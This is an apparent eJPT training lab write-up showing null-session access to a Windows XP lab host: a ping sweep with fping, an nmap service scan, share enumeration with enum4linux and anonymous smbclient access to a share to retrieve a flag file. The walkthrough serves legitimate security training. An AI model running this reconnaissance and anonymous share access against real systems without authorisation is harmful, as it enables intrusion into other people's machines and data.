Null Session

First, let's check our ip and find the network address.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ sudo ifconfig
[sudo] password for hades:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.7  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::e7c1:2e43:eb57:cbd2  prefixlen 64  scopeid 0x20<link>
        ether 00:0e:c6:8a:55:c1  txqueuelen 1000  (Ethernet)
        RX packets 54578  bytes 48568765 (46.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 34556  bytes 10773493 (10.2 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 14  bytes 630 (630.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 14  bytes 630 (630.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.99.100  netmask 255.255.255.0  broadcast 192.168.99.255
        inet6 fe80::fcd3:2fff:fe06:cbf5  prefixlen 64  scopeid 0x20<link>
        ether fe:d3:2f:06:cb:f5  txqueuelen 100  (Ethernet)
        RX packets 1  bytes 252 (252.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19  bytes 2042 (1.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

We now know our network address is 192.168.99.0/24. Let's do a ping sweep scan to find alive hosts.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ fping -a -g 192.168.99.0/24
192.168.99.100
192.168.99.162
```

We found our host. Let's do an nmap scan to find open ports.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ sudo nmap -sC -sV 192.168.99.162
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-17 14:58 IST
Nmap scan report for 192.168.99.162
Host is up (0.49s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
MAC Address: 00:50:56:A2:92:D9 (VMware)
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 3h29m55s, deviation: 4h56m59s, median: -5s
|_nbstat: NetBIOS name: ELS-WINXP, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a2:92:d9 (VMware)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: els-winxp
|   NetBIOS computer name: ELS-WINXP\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-06-17T02:28:57-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
```

The ports for windows sharing are open. Let's run enum4linux on the machine to find more information.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ enum4linux -a 192.168.99.162
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jun 17 17:40:11 2021

 ========================
|    Target Information    |
 ========================
Target ..... 192.168.99.162
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
```

We got the shares enumerated.

```
=============================================
|    Share Enumeration on 192.168.99.162    |
=============================================

        Sharename       Type      Comment
        ---------       ----      -------
        My Documents    Disk
        IPC$            IPC       Remote IPC
        Frank           Disk
        C               Disk
        WorkSharing     Disk
        FrankDocs       Disk
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
Reconnecting with SMB1 for workgroup listing.
```

We have a worksharing share. Let's try mounting it using smbclient.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ smbclient \\\\192.168.99.162\\Worksharing -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Feb 18 16:37:31 2015
  ..                                  D        0  Wed Feb 18 16:37:31 2015
  Congratulations.txt                 A       66  Wed Feb 18 15:11:59 2015

                785224 blocks of size 4096. 304615 blocks available
smb: \> get Congratulations.txt /home/hades/Desktop/Congratulations.txt
getting file \Congratulations.txt of size 66 as /home/hades/Desktop/Congratulations.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit
```

We saw a congratulations.txt file which we downloaded to our local machine using the get command. Let's now open it and see the contents.

```
hades@Asus:~/Desktop$ cat Congratulations.txt
Congratulations! You have successfully exploited a null session!
```

We completed the lab.